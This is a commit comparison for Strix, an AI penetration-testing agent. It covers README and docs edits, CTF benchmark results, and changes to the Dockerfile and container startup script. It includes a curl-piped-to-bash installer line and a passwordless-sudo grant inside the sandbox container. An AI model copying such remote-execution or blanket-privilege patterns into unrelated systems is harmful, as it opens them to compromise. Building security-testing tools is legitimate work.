Compare commits
94 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
643f6ba54a | ||
|
|
7fb4b63b96 | ||
|
|
027cea2f25 | ||
|
|
b9dcf7f63d | ||
|
|
e09b5b42c1 | ||
|
|
e7970de6d2 | ||
|
|
7614fcc512 | ||
|
|
f4d522164d | ||
|
|
6166be841b | ||
|
|
bf8020fafb | ||
|
|
3b3576b024 | ||
|
|
d2c99ea4df | ||
|
|
06ae3d3860 | ||
|
|
1833f1a021 | ||
|
|
cc6d46a838 | ||
|
|
8cb026b1be | ||
|
|
cec7417582 | ||
|
|
62bb47a881 | ||
|
|
e38f523a45 | ||
|
|
30550dd189 | ||
|
|
154040f9fb | ||
|
|
365d51f52f | ||
|
|
305ae2f699 | ||
|
|
d6e9b3b7cf | ||
|
|
2b94633212 | ||
|
|
846f8c02b4 | ||
|
|
6e1b5b7a0c | ||
|
|
40cb705494 | ||
|
|
e0b750dbcd | ||
|
|
0a63ffba63 | ||
|
|
5a76fab4ae | ||
|
|
85f05c326b | ||
|
|
b8cabdde97 | ||
|
|
83ce9ed960 | ||
|
|
c2fbf81f1d | ||
|
|
c5bd30e677 | ||
|
|
5d187fcb02 | ||
|
|
39d934ee71 | ||
|
|
386e64fa29 | ||
|
|
655ddb4d7f | ||
|
|
2bc1e5e1cb | ||
|
|
6bacc796e2 | ||
|
|
c50c79084b | ||
|
|
83914f454f | ||
|
|
6da639ce58 | ||
|
|
a97836c335 | ||
|
|
5f77dd7052 | ||
|
|
33b94a7034 | ||
|
|
456705e5e9 | ||
|
|
82d1c0cec4 | ||
|
|
1b394b808b | ||
|
|
25ac2f1e08 | ||
|
|
b456a4ed8c | ||
|
|
165887798d | ||
|
|
4ab9af6e47 | ||
|
|
4337991d05 | ||
|
|
9cff247d89 | ||
|
|
af2c830f70 | ||
|
|
91feb3e01c | ||
|
|
762c25d6ed | ||
|
|
6cb1c20978 | ||
|
|
4b62169f74 | ||
|
|
e948f06d64 | ||
|
|
3d4b1bfb08 | ||
|
|
8413987fcd | ||
|
|
a67fe4c45c | ||
|
|
9f7b532056 | ||
|
|
43572242f1 | ||
|
|
a7bd635c11 | ||
|
|
e30ef9aec8 | ||
|
|
03fb1e940f | ||
|
|
7417e6f8d0 | ||
|
|
86f8835ccb | ||
|
|
2bfb80ff4a | ||
|
|
7ff0e68466 | ||
|
|
2ebfd20db5 | ||
|
|
918a151892 | ||
|
|
a80ecac7bd | ||
|
|
19246d8a5a | ||
|
|
4cb2cebd1e | ||
|
|
26b0786a4e | ||
|
|
61dea7010a | ||
|
|
c433d4ffb2 | ||
|
|
ed6861db64 | ||
|
|
a74ed69471 | ||
|
|
9102b22381 | ||
|
|
693ef16060 | ||
|
|
8dc6f1dc8f | ||
|
|
4d9154a7f8 | ||
|
|
2898db318e | ||
|
|
960bb91790 | ||
|
|
4de4be683f | ||
|
|
d351b14ae7 | ||
|
|
ceeec8faa8 |
2
.github/ISSUE_TEMPLATE/bug_report.md
vendored
2
.github/ISSUE_TEMPLATE/bug_report.md
vendored
@@ -27,7 +27,7 @@ If applicable, add screenshots to help explain your problem.
|
|||||||
- OS: [e.g. Ubuntu 22.04]
|
- OS: [e.g. Ubuntu 22.04]
|
||||||
- Strix Version or Commit: [e.g. 0.1.18]
|
- Strix Version or Commit: [e.g. 0.1.18]
|
||||||
- Python Version: [e.g. 3.12]
|
- Python Version: [e.g. 3.12]
|
||||||
- LLM Used: [e.g. GPT-5, Claude Sonnet 4]
|
- LLM Used: [e.g. GPT-5, Claude Sonnet 4.6]
|
||||||
|
|
||||||
**Additional context**
|
**Additional context**
|
||||||
Add any other context about the problem here.
|
Add any other context about the problem here.
|
||||||
|
|||||||
BIN
.github/screenshot.png
vendored
BIN
.github/screenshot.png
vendored
Binary file not shown.
|
Before Width: | Height: | Size: 400 KiB After Width: | Height: | Size: 1.6 MiB |
@@ -46,7 +46,7 @@ Skills are specialized knowledge packages that enhance agent capabilities. See [
|
|||||||
### Quick Guide
|
### Quick Guide
|
||||||
|
|
||||||
1. **Choose the right category** (`/vulnerabilities`, `/frameworks`, `/technologies`, etc.)
|
1. **Choose the right category** (`/vulnerabilities`, `/frameworks`, `/technologies`, etc.)
|
||||||
2. **Create a** `.jinja` file with your skill content
|
2. **Create a** `.md` file with your skill content
|
||||||
3. **Include practical examples** - Working payloads, commands, or test cases
|
3. **Include practical examples** - Working payloads, commands, or test cases
|
||||||
4. **Provide validation methods** - How to confirm findings and avoid false positives
|
4. **Provide validation methods** - How to confirm findings and avoid false positives
|
||||||
5. **Submit via PR** with clear description
|
5. **Submit via PR** with clear description
|
||||||
@@ -101,7 +101,7 @@ We welcome feature ideas! Please:
|
|||||||
|
|
||||||
## 🤝 Community
|
## 🤝 Community
|
||||||
|
|
||||||
- **Discord**: [Join our community](https://discord.gg/YjKFvEZSdZ)
|
- **Discord**: [Join our community](https://discord.gg/strix-ai)
|
||||||
- **Issues**: [GitHub Issues](https://github.com/usestrix/strix/issues)
|
- **Issues**: [GitHub Issues](https://github.com/usestrix/strix/issues)
|
||||||
|
|
||||||
## ✨ Recognition
|
## ✨ Recognition
|
||||||
@@ -113,4 +113,4 @@ We value all contributions! Contributors will be:
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
**Questions?** Reach out on [Discord](https://discord.gg/YjKFvEZSdZ) or create an issue. We're here to help!
|
**Questions?** Reach out on [Discord](https://discord.gg/strix-ai) or create an issue. We're here to help!
|
||||||
|
|||||||
52
README.md
52
README.md
@@ -14,8 +14,8 @@
|
|||||||
|
|
||||||
|
|
||||||
<a href="https://docs.strix.ai"><img src="https://img.shields.io/badge/Docs-docs.strix.ai-2b9246?style=for-the-badge&logo=gitbook&logoColor=white" alt="Docs"></a>
|
<a href="https://docs.strix.ai"><img src="https://img.shields.io/badge/Docs-docs.strix.ai-2b9246?style=for-the-badge&logo=gitbook&logoColor=white" alt="Docs"></a>
|
||||||
<a href="https://strix.ai"><img src="https://img.shields.io/badge/Website-strix.ai-3b82f6?style=for-the-badge&logoColor=white" alt="Website"></a>
|
<a href="https://strix.ai"><img src="https://img.shields.io/badge/Website-strix.ai-f0f0f0?style=for-the-badge&logoColor=000000" alt="Website"></a>
|
||||||
<a href="https://pypi.org/project/strix-agent/"><img src="https://img.shields.io/badge/PyPI-strix--agent-f59e0b?style=for-the-badge&logo=pypi&logoColor=white" alt="PyPI"></a>
|
[](https://discord.gg/strix-ai)
|
||||||
|
|
||||||
<a href="https://deepwiki.com/usestrix/strix"><img src="https://deepwiki.com/badge.svg" alt="Ask DeepWiki"></a>
|
<a href="https://deepwiki.com/usestrix/strix"><img src="https://deepwiki.com/badge.svg" alt="Ask DeepWiki"></a>
|
||||||
<a href="https://github.com/usestrix/strix"><img src="https://img.shields.io/github/stars/usestrix/strix?style=flat-square" alt="GitHub Stars"></a>
|
<a href="https://github.com/usestrix/strix"><img src="https://img.shields.io/github/stars/usestrix/strix?style=flat-square" alt="GitHub Stars"></a>
|
||||||
@@ -23,7 +23,7 @@
|
|||||||
<a href="https://pypi.org/project/strix-agent/"><img src="https://img.shields.io/pypi/v/strix-agent?style=flat-square" alt="PyPI Version"></a>
|
<a href="https://pypi.org/project/strix-agent/"><img src="https://img.shields.io/pypi/v/strix-agent?style=flat-square" alt="PyPI Version"></a>
|
||||||
|
|
||||||
|
|
||||||
<a href="https://discord.gg/YjKFvEZSdZ"><img src="https://github.com/usestrix/.github/raw/main/imgs/Discord.png" height="40" alt="Join Discord"></a>
|
<a href="https://discord.gg/strix-ai"><img src="https://github.com/usestrix/.github/raw/main/imgs/Discord.png" height="40" alt="Join Discord"></a>
|
||||||
<a href="https://x.com/strix_ai"><img src="https://github.com/usestrix/.github/raw/main/imgs/X.png" height="40" alt="Follow on X"></a>
|
<a href="https://x.com/strix_ai"><img src="https://github.com/usestrix/.github/raw/main/imgs/X.png" height="40" alt="Follow on X"></a>
|
||||||
|
|
||||||
|
|
||||||
@@ -31,13 +31,6 @@
|
|||||||
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<br/>
|
|
||||||
|
|
||||||
<div align="center">
|
|
||||||
<img src=".github/screenshot.png" alt="Strix Demo" width="900" style="border-radius: 16px;">
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<br>
|
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> **New!** Strix integrates seamlessly with GitHub Actions and CI/CD pipelines. Automatically scan for vulnerabilities on every pull request and block insecure code before it reaches production!
|
> **New!** Strix integrates seamlessly with GitHub Actions and CI/CD pipelines. Automatically scan for vulnerabilities on every pull request and block insecure code before it reaches production!
|
||||||
@@ -58,20 +51,30 @@ Strix are autonomous AI agents that act just like real hackers - they run your c
|
|||||||
- **Auto‑fix & reporting** to accelerate remediation
|
- **Auto‑fix & reporting** to accelerate remediation
|
||||||
|
|
||||||
|
|
||||||
## 🎯 Use Cases
|
<br>
|
||||||
|
|
||||||
|
|
||||||
|
<div align="center">
|
||||||
|
<a href="https://strix.ai">
|
||||||
|
<img src=".github/screenshot.png" alt="Strix Demo" width="1000" style="border-radius: 16px;">
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
## Use Cases
|
||||||
|
|
||||||
- **Application Security Testing** - Detect and validate critical vulnerabilities in your applications
|
- **Application Security Testing** - Detect and validate critical vulnerabilities in your applications
|
||||||
- **Rapid Penetration Testing** - Get penetration tests done in hours, not weeks, with compliance reports
|
- **Rapid Penetration Testing** - Get penetration tests done in hours, not weeks, with compliance reports
|
||||||
- **Bug Bounty Automation** - Automate bug bounty research and generate PoCs for faster reporting
|
- **Bug Bounty Automation** - Automate bug bounty research and generate PoCs for faster reporting
|
||||||
- **CI/CD Integration** - Run tests in CI/CD to block vulnerabilities before reaching production
|
- **CI/CD Integration** - Run tests in CI/CD to block vulnerabilities before reaching production
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🚀 Quick Start
|
## 🚀 Quick Start
|
||||||
|
|
||||||
**Prerequisites:**
|
**Prerequisites:**
|
||||||
- Docker (running)
|
- Docker (running)
|
||||||
- An LLM provider key (e.g. [get OpenAI API key](https://platform.openai.com/api-keys) or use a local LLM)
|
- An LLM API key:
|
||||||
|
- Any [supported provider](https://docs.strix.ai/llm-providers/overview) (OpenAI, Anthropic, Google, etc.)
|
||||||
|
- Or [Strix Router](https://models.strix.ai) — single API key for multiple providers with $10 free credit on signup
|
||||||
|
|
||||||
### Installation & First Scan
|
### Installation & First Scan
|
||||||
|
|
||||||
@@ -83,7 +86,7 @@ curl -sSL https://strix.ai/install | bash
|
|||||||
pipx install strix-agent
|
pipx install strix-agent
|
||||||
|
|
||||||
# Configure your AI provider
|
# Configure your AI provider
|
||||||
export STRIX_LLM="openai/gpt-5"
|
export STRIX_LLM="openai/gpt-5" # or "strix/gpt-5" via Strix Router (https://models.strix.ai)
|
||||||
export LLM_API_KEY="your-api-key"
|
export LLM_API_KEY="your-api-key"
|
||||||
|
|
||||||
# Run your first security assessment
|
# Run your first security assessment
|
||||||
@@ -93,19 +96,6 @@ strix --target ./app-directory
|
|||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> First run automatically pulls the sandbox Docker image. Results are saved to `strix_runs/<run-name>`
|
> First run automatically pulls the sandbox Docker image. Results are saved to `strix_runs/<run-name>`
|
||||||
|
|
||||||
## Run Strix in Cloud
|
|
||||||
|
|
||||||
Want to skip the local setup, API keys, and unpredictable LLM costs? Run the hosted cloud version of Strix at **[app.strix.ai](https://strix.ai)**.
|
|
||||||
|
|
||||||
Launch a scan in just a few minutes—no setup or configuration required—and you’ll get:
|
|
||||||
|
|
||||||
- **A full pentest report** with validated findings and clear remediation steps
|
|
||||||
- **Shareable dashboards** your team can use to track fixes over time
|
|
||||||
- **CI/CD and GitHub integrations** to block risky changes before production
|
|
||||||
- **Continuous monitoring** so new vulnerabilities are caught quickly
|
|
||||||
|
|
||||||
[**Run your first pentest now →**](https://strix.ai)
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## ✨ Features
|
## ✨ Features
|
||||||
@@ -228,7 +218,7 @@ export STRIX_REASONING_EFFORT="high" # control thinking effort (default: high,
|
|||||||
**Recommended models for best results:**
|
**Recommended models for best results:**
|
||||||
|
|
||||||
- [OpenAI GPT-5](https://openai.com/api/) — `openai/gpt-5`
|
- [OpenAI GPT-5](https://openai.com/api/) — `openai/gpt-5`
|
||||||
- [Anthropic Claude Sonnet 4.5](https://claude.com/platform/api) — `anthropic/claude-sonnet-4-5`
|
- [Anthropic Claude Sonnet 4.6](https://claude.com/platform/api) — `anthropic/claude-sonnet-4-6`
|
||||||
- [Google Gemini 3 Pro Preview](https://cloud.google.com/vertex-ai) — `vertex_ai/gemini-3-pro-preview`
|
- [Google Gemini 3 Pro Preview](https://cloud.google.com/vertex-ai) — `vertex_ai/gemini-3-pro-preview`
|
||||||
|
|
||||||
See the [LLM Providers documentation](https://docs.strix.ai/llm-providers/overview) for all supported providers including Vertex AI, Bedrock, Azure, and local models.
|
See the [LLM Providers documentation](https://docs.strix.ai/llm-providers/overview) for all supported providers including Vertex AI, Bedrock, Azure, and local models.
|
||||||
@@ -243,7 +233,7 @@ We welcome contributions of code, docs, and new skills - check out our [Contribu
|
|||||||
|
|
||||||
## Join Our Community
|
## Join Our Community
|
||||||
|
|
||||||
Have questions? Found a bug? Want to contribute? **[Join our Discord!](https://discord.gg/YjKFvEZSdZ)**
|
Have questions? Found a bug? Want to contribute? **[Join our Discord!](https://discord.gg/strix-ai)**
|
||||||
|
|
||||||
## Support the Project
|
## Support the Project
|
||||||
|
|
||||||
@@ -251,7 +241,7 @@ Have questions? Found a bug? Want to contribute? **[Join our Discord!](https://d
|
|||||||
|
|
||||||
## Acknowledgements
|
## Acknowledgements
|
||||||
|
|
||||||
Strix builds on the incredible work of open-source projects like [LiteLLM](https://github.com/BerriAI/litellm), [Caido](https://github.com/caido/caido), [ProjectDiscovery](https://github.com/projectdiscovery), [Playwright](https://github.com/microsoft/playwright), and [Textual](https://github.com/Textualize/textual). Huge thanks to their maintainers!
|
Strix builds on the incredible work of open-source projects like [LiteLLM](https://github.com/BerriAI/litellm), [Caido](https://github.com/caido/caido), [Nuclei](https://github.com/projectdiscovery/nuclei), [Playwright](https://github.com/microsoft/playwright), and [Textual](https://github.com/Textualize/textual). Huge thanks to their maintainers!
|
||||||
|
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
|
|||||||
43
benchmarks/README.md
Normal file
43
benchmarks/README.md
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
# Benchmarks
|
||||||
|
|
||||||
|
We use security benchmarks to track Strix's capabilities and improvements over time. We plan to add more benchmarks, both existing ones and our own, to help the community evaluate and compare security agents.
|
||||||
|
|
||||||
|
|
||||||
|
## Full Details
|
||||||
|
|
||||||
|
For the complete benchmark results, evaluation scripts, and run data, see the [usestrix/benchmarks](https://github.com/usestrix/benchmarks) repository.
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> We are actively adding more benchmarks to our evaluation suite.
|
||||||
|
|
||||||
|
|
||||||
|
## Results
|
||||||
|
|
||||||
|
| Benchmark | Challenges | Success Rate |
|
||||||
|
|-----------|------------|--------------|
|
||||||
|
| [XBEN](https://github.com/usestrix/benchmarks/tree/main/XBEN) | 104 | **96%** |
|
||||||
|
|
||||||
|
### XBEN
|
||||||
|
|
||||||
|
The [XBOW benchmark](https://github.com/usestrix/benchmarks/tree/main/XBEN) is a set of 104 web security challenges designed to evaluate autonomous penetration testing agents. Each challenge follows a CTF format where the agent must discover and exploit vulnerabilities to extract a hidden flag.
|
||||||
|
|
||||||
|
Strix `v0.4.0` achieved a **96% success rate** (100/104 challenges) in black-box mode.
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
%%{init: {'theme': 'base', 'themeVariables': { 'pie1': '#3b82f6', 'pie2': '#1e3a5f', 'pieTitleTextColor': '#ffffff', 'pieSectionTextColor': '#ffffff', 'pieLegendTextColor': '#ffffff'}}}%%
|
||||||
|
pie title Challenge Outcomes (104 Total)
|
||||||
|
"Solved" : 100
|
||||||
|
"Unsolved" : 4
|
||||||
|
```
|
||||||
|
|
||||||
|
**Performance by Difficulty:**
|
||||||
|
|
||||||
|
| Difficulty | Solved | Success Rate |
|
||||||
|
|------------|--------|--------------|
|
||||||
|
| Level 1 (Easy) | 45/45 | 100% |
|
||||||
|
| Level 2 (Medium) | 49/51 | 96% |
|
||||||
|
| Level 3 (Hard) | 6/8 | 75% |
|
||||||
|
|
||||||
|
**Resource Usage:**
|
||||||
|
- Average solve time: ~19 minutes
|
||||||
|
- Total cost: ~$337 for 100 challenges
|
||||||
@@ -9,7 +9,8 @@ RUN apt-get update && \
|
|||||||
|
|
||||||
RUN useradd -m -s /bin/bash pentester && \
|
RUN useradd -m -s /bin/bash pentester && \
|
||||||
usermod -aG sudo pentester && \
|
usermod -aG sudo pentester && \
|
||||||
echo "pentester ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
|
echo "pentester ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers && \
|
||||||
|
touch /home/pentester/.hushlogin
|
||||||
|
|
||||||
RUN mkdir -p /home/pentester/configs \
|
RUN mkdir -p /home/pentester/configs \
|
||||||
/home/pentester/wordlists \
|
/home/pentester/wordlists \
|
||||||
@@ -168,9 +169,12 @@ RUN /app/venv/bin/pip install -r /home/pentester/tools/jwt_tool/requirements.txt
|
|||||||
RUN echo "# Sandbox Environment" > README.md
|
RUN echo "# Sandbox Environment" > README.md
|
||||||
|
|
||||||
COPY strix/__init__.py strix/
|
COPY strix/__init__.py strix/
|
||||||
|
COPY strix/config/ /app/strix/config/
|
||||||
|
COPY strix/utils/ /app/strix/utils/
|
||||||
|
COPY strix/telemetry/ /app/strix/telemetry/
|
||||||
COPY strix/runtime/tool_server.py strix/runtime/__init__.py strix/runtime/runtime.py /app/strix/runtime/
|
COPY strix/runtime/tool_server.py strix/runtime/__init__.py strix/runtime/runtime.py /app/strix/runtime/
|
||||||
|
|
||||||
COPY strix/tools/__init__.py strix/tools/registry.py strix/tools/executor.py strix/tools/argument_parser.py /app/strix/tools/
|
COPY strix/tools/__init__.py strix/tools/registry.py strix/tools/executor.py strix/tools/argument_parser.py strix/tools/context.py /app/strix/tools/
|
||||||
|
|
||||||
COPY strix/tools/browser/ /app/strix/tools/browser/
|
COPY strix/tools/browser/ /app/strix/tools/browser/
|
||||||
COPY strix/tools/file_edit/ /app/strix/tools/file_edit/
|
COPY strix/tools/file_edit/ /app/strix/tools/file_edit/
|
||||||
|
|||||||
@@ -1,9 +1,12 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
set -e
|
set -e
|
||||||
|
|
||||||
if [ -z "$CAIDO_PORT" ]; then
|
CAIDO_PORT=48080
|
||||||
echo "Error: CAIDO_PORT must be set."
|
CAIDO_LOG="/tmp/caido_startup.log"
|
||||||
exit 1
|
|
||||||
|
if [ ! -f /app/certs/ca.p12 ]; then
|
||||||
|
echo "ERROR: CA certificate file /app/certs/ca.p12 not found."
|
||||||
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
caido-cli --listen 127.0.0.1:${CAIDO_PORT} \
|
caido-cli --listen 127.0.0.1:${CAIDO_PORT} \
|
||||||
@@ -11,28 +14,62 @@ caido-cli --listen 127.0.0.1:${CAIDO_PORT} \
|
|||||||
--no-logging \
|
--no-logging \
|
||||||
--no-open \
|
--no-open \
|
||||||
--import-ca-cert /app/certs/ca.p12 \
|
--import-ca-cert /app/certs/ca.p12 \
|
||||||
--import-ca-cert-pass "" > /dev/null 2>&1 &
|
--import-ca-cert-pass "" > "$CAIDO_LOG" 2>&1 &
|
||||||
|
|
||||||
|
CAIDO_PID=$!
|
||||||
|
echo "Started Caido with PID $CAIDO_PID on port $CAIDO_PORT"
|
||||||
|
|
||||||
echo "Waiting for Caido API to be ready..."
|
echo "Waiting for Caido API to be ready..."
|
||||||
|
CAIDO_READY=false
|
||||||
for i in {1..30}; do
|
for i in {1..30}; do
|
||||||
if curl -s -o /dev/null http://localhost:${CAIDO_PORT}/graphql; then
|
if ! kill -0 $CAIDO_PID 2>/dev/null; then
|
||||||
echo "Caido API is ready."
|
echo "ERROR: Caido process died while waiting for API (iteration $i)."
|
||||||
|
echo "=== Caido log ==="
|
||||||
|
cat "$CAIDO_LOG" 2>/dev/null || echo "(no log available)"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if curl -s -o /dev/null -w "%{http_code}" http://localhost:${CAIDO_PORT}/graphql/ | grep -qE "^(200|400)$"; then
|
||||||
|
echo "Caido API is ready (attempt $i)."
|
||||||
|
CAIDO_READY=true
|
||||||
break
|
break
|
||||||
fi
|
fi
|
||||||
sleep 1
|
sleep 1
|
||||||
done
|
done
|
||||||
|
|
||||||
|
if [ "$CAIDO_READY" = false ]; then
|
||||||
|
echo "ERROR: Caido API did not become ready within 30 seconds."
|
||||||
|
echo "Caido process status: $(kill -0 $CAIDO_PID 2>&1 && echo 'running' || echo 'dead')"
|
||||||
|
echo "=== Caido log ==="
|
||||||
|
cat "$CAIDO_LOG" 2>/dev/null || echo "(no log available)"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
sleep 2
|
sleep 2
|
||||||
|
|
||||||
echo "Fetching API token..."
|
echo "Fetching API token..."
|
||||||
TOKEN=$(curl -s -X POST \
|
TOKEN=""
|
||||||
-H "Content-Type: application/json" \
|
for attempt in 1 2 3 4 5; do
|
||||||
-d '{"query":"mutation LoginAsGuest { loginAsGuest { token { accessToken } } }"}' \
|
RESPONSE=$(curl -sL -X POST \
|
||||||
http://localhost:${CAIDO_PORT}/graphql | jq -r '.data.loginAsGuest.token.accessToken')
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"query":"mutation LoginAsGuest { loginAsGuest { token { accessToken } } }"}' \
|
||||||
|
http://localhost:${CAIDO_PORT}/graphql)
|
||||||
|
|
||||||
|
TOKEN=$(echo "$RESPONSE" | jq -r '.data.loginAsGuest.token.accessToken // empty')
|
||||||
|
|
||||||
|
if [ -n "$TOKEN" ] && [ "$TOKEN" != "null" ]; then
|
||||||
|
echo "Successfully obtained API token (attempt $attempt)."
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "Token fetch attempt $attempt failed: $RESPONSE"
|
||||||
|
sleep $((attempt * 2))
|
||||||
|
done
|
||||||
|
|
||||||
if [ -z "$TOKEN" ] || [ "$TOKEN" == "null" ]; then
|
if [ -z "$TOKEN" ] || [ "$TOKEN" == "null" ]; then
|
||||||
echo "Failed to get API token from Caido."
|
echo "ERROR: Failed to get API token from Caido after 5 attempts."
|
||||||
curl -s -X POST -H "Content-Type: application/json" -d '{"query":"mutation { loginAsGuest { token { accessToken } } }"}' http://localhost:${CAIDO_PORT}/graphql
|
echo "=== Caido log ==="
|
||||||
|
cat "$CAIDO_LOG" 2>/dev/null || echo "(no log available)"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
@@ -40,7 +77,7 @@ export CAIDO_API_TOKEN=$TOKEN
|
|||||||
echo "Caido API token has been set."
|
echo "Caido API token has been set."
|
||||||
|
|
||||||
echo "Creating a new Caido project..."
|
echo "Creating a new Caido project..."
|
||||||
CREATE_PROJECT_RESPONSE=$(curl -s -X POST \
|
CREATE_PROJECT_RESPONSE=$(curl -sL -X POST \
|
||||||
-H "Content-Type: application/json" \
|
-H "Content-Type: application/json" \
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
-H "Authorization: Bearer $TOKEN" \
|
||||||
-d '{"query":"mutation CreateProject { createProject(input: {name: \"sandbox\", temporary: true}) { project { id } } }"}' \
|
-d '{"query":"mutation CreateProject { createProject(input: {name: \"sandbox\", temporary: true}) { project { id } } }"}' \
|
||||||
@@ -57,7 +94,7 @@ fi
|
|||||||
echo "Caido project created with ID: $PROJECT_ID"
|
echo "Caido project created with ID: $PROJECT_ID"
|
||||||
|
|
||||||
echo "Selecting Caido project..."
|
echo "Selecting Caido project..."
|
||||||
SELECT_RESPONSE=$(curl -s -X POST \
|
SELECT_RESPONSE=$(curl -sL -X POST \
|
||||||
-H "Content-Type: application/json" \
|
-H "Content-Type: application/json" \
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
-H "Authorization: Bearer $TOKEN" \
|
||||||
-d '{"query":"mutation SelectProject { selectProject(id: \"'$PROJECT_ID'\") { currentProject { project { id } } } }"}' \
|
-d '{"query":"mutation SelectProject { selectProject(id: \"'$PROJECT_ID'\") { currentProject { project { id } } } }"}' \
|
||||||
@@ -114,9 +151,36 @@ sudo -u pentester certutil -N -d sql:/home/pentester/.pki/nssdb --empty-password
|
|||||||
sudo -u pentester certutil -A -n "Testing Root CA" -t "C,," -i /app/certs/ca.crt -d sql:/home/pentester/.pki/nssdb
|
sudo -u pentester certutil -A -n "Testing Root CA" -t "C,," -i /app/certs/ca.crt -d sql:/home/pentester/.pki/nssdb
|
||||||
echo "✅ CA added to browser trust store"
|
echo "✅ CA added to browser trust store"
|
||||||
|
|
||||||
echo "Container initialization complete - agents will start their own tool servers as needed"
|
echo "Starting tool server..."
|
||||||
echo "✅ Shared container ready for multi-agent use"
|
cd /app
|
||||||
|
export PYTHONPATH=/app
|
||||||
|
export STRIX_SANDBOX_MODE=true
|
||||||
|
export POETRY_VIRTUALENVS_CREATE=false
|
||||||
|
export TOOL_SERVER_TIMEOUT="${STRIX_SANDBOX_EXECUTION_TIMEOUT:-120}"
|
||||||
|
TOOL_SERVER_LOG="/tmp/tool_server.log"
|
||||||
|
|
||||||
|
sudo -E -u pentester \
|
||||||
|
poetry run python -m strix.runtime.tool_server \
|
||||||
|
--token="$TOOL_SERVER_TOKEN" \
|
||||||
|
--host=0.0.0.0 \
|
||||||
|
--port="$TOOL_SERVER_PORT" \
|
||||||
|
--timeout="$TOOL_SERVER_TIMEOUT" > "$TOOL_SERVER_LOG" 2>&1 &
|
||||||
|
|
||||||
|
for i in {1..10}; do
|
||||||
|
if curl -s "http://127.0.0.1:$TOOL_SERVER_PORT/health" | grep -q '"status":"healthy"'; then
|
||||||
|
echo "✅ Tool server healthy on port $TOOL_SERVER_PORT"
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
if [ $i -eq 10 ]; then
|
||||||
|
echo "ERROR: Tool server failed to become healthy"
|
||||||
|
echo "=== Tool server log ==="
|
||||||
|
cat "$TOOL_SERVER_LOG" 2>/dev/null || echo "(no log)"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
sleep 1
|
||||||
|
done
|
||||||
|
|
||||||
|
echo "✅ Container ready"
|
||||||
|
|
||||||
cd /workspace
|
cd /workspace
|
||||||
|
|
||||||
exec "$@"
|
exec "$@"
|
||||||
|
|||||||
10
docs/README.md
Normal file
10
docs/README.md
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
# Strix Documentation
|
||||||
|
|
||||||
|
Documentation source files for Strix, powered by [Mintlify](https://mintlify.com).
|
||||||
|
|
||||||
|
## Local Preview
|
||||||
|
|
||||||
|
```bash
|
||||||
|
npm i -g mintlify
|
||||||
|
cd docs && mintlify dev
|
||||||
|
```
|
||||||
109
docs/advanced/configuration.mdx
Normal file
109
docs/advanced/configuration.mdx
Normal file
@@ -0,0 +1,109 @@
|
|||||||
|
---
|
||||||
|
title: "Configuration"
|
||||||
|
description: "Environment variables for Strix"
|
||||||
|
---
|
||||||
|
|
||||||
|
Configure Strix using environment variables or a config file.
|
||||||
|
|
||||||
|
## LLM Configuration
|
||||||
|
|
||||||
|
<ParamField path="STRIX_LLM" type="string" required>
|
||||||
|
Model name in LiteLLM format (e.g., `openai/gpt-5`, `anthropic/claude-sonnet-4-6`).
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="LLM_API_KEY" type="string">
|
||||||
|
API key for your LLM provider. Not required for local models or cloud provider auth (Vertex AI, AWS Bedrock).
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="LLM_API_BASE" type="string">
|
||||||
|
Custom API base URL. Also accepts `OPENAI_API_BASE`, `LITELLM_BASE_URL`, or `OLLAMA_API_BASE`.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="LLM_TIMEOUT" default="300" type="integer">
|
||||||
|
Request timeout in seconds for LLM calls.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="STRIX_LLM_MAX_RETRIES" default="5" type="integer">
|
||||||
|
Maximum number of retries for LLM API calls on transient failures.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="STRIX_REASONING_EFFORT" default="high" type="string">
|
||||||
|
Control thinking effort for reasoning models. Valid values: `none`, `minimal`, `low`, `medium`, `high`, `xhigh`. Defaults to `medium` for quick scan mode.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="STRIX_MEMORY_COMPRESSOR_TIMEOUT" default="30" type="integer">
|
||||||
|
Timeout in seconds for memory compression operations (context summarization).
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
## Optional Features
|
||||||
|
|
||||||
|
<ParamField path="PERPLEXITY_API_KEY" type="string">
|
||||||
|
API key for Perplexity AI. Enables real-time web search during scans for OSINT and vulnerability research.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="STRIX_DISABLE_BROWSER" default="false" type="boolean">
|
||||||
|
Disable browser automation tools.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="STRIX_TELEMETRY" default="1" type="string">
|
||||||
|
